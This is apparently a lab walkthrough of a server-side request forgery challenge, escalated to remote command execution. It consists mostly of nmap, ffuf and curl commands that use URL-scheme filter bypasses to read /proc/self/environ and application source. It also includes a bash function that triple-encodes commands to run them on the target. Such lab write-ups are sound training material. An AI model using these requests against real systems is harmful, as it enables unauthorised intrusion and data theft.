SSRF (LAB)
Description
Abuse server functionality to perform internal or external resource requests on behalf of the server by supplying or modifying URLs used by the target application to read or submit data.
Impact
- Interacting with known internal systems
- Discovering internal services via port scans
- Disclosing local/sensitive data
- Including files in the target application
- RCE
LAB: Obtain a reverse shell through a Python one-liner to get RCE
Exploitation
- Discovering Open Ports
nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>
2. Curl — Interacting with the Targe
curl -i -s -L http://<TARGET IP>
- As we can see -> ubuntu-web.lalaguna.local & internal.app.local load resources via q parameter.
3. cURL — Interacting with the target ( internal.app.local )
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
4. Let’s issue a request to a random port to identify how responses from closed ports look:
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:10"
- We have received an
unknown URL type
error message -> the web application is being removed://
from our request.
5. Modify the URL -> adding more ://
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:10"
- Well, the web application returns some HTML-rendered content containing the resource we are trying to fetch!
6. Let’s issue a cURL request to a random port to get the response size of a request for a non-existent service to be filtered later when fuzzing open ports.
curl -s -i "http://<TARGET IP>/load?q=http://127.0.0.1:10"
7. Use ffuf with the wordlist and discard the responses that have the size (30) we identified:
ffuf -w ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
8. Interacting with the Target valid port (e.g. 5000)
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"
9. issue a request to disclose /proc/self/environ
file, where the current path should be present under the PWD
environment variable.
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
- Now we know that the current path is
/app
, Let's disclose theinternal_local.py
file.
10. Retrieving a local file internal_local.py
via File Schema:
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"
We notice a functionality that allows us to execute commands on the remote host sending a GET request to/runme?x=<CMD>
11. Confirm RCE by sending whoami
command:
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
💡Note: To execute commands with arguments or special characters, we need to encode them three times as we pass them through three different web applications (we can do this with jq in our terminal).
12. Create our RCE script:
rce() {
while true; do
echo -n "# "; read cmd
ecmd=$(echo -n "$cmd" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http://<Target IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
echo ""
done
}
13. Call the rce function and execute commands:
Finally, we successfully obtained a reverse shell through a Python one-liner to get RCE.
Additional Resources
- DeepStrike | SSRF (Server Side Request Forgery) vulnerability.
- https://portswigger.net/web-security/ssrf#:~:text=Server%2Dside%20request%20forgery%20is,services%20within%20the%20organization%27s%20infrastructure.
Thanks for Reading!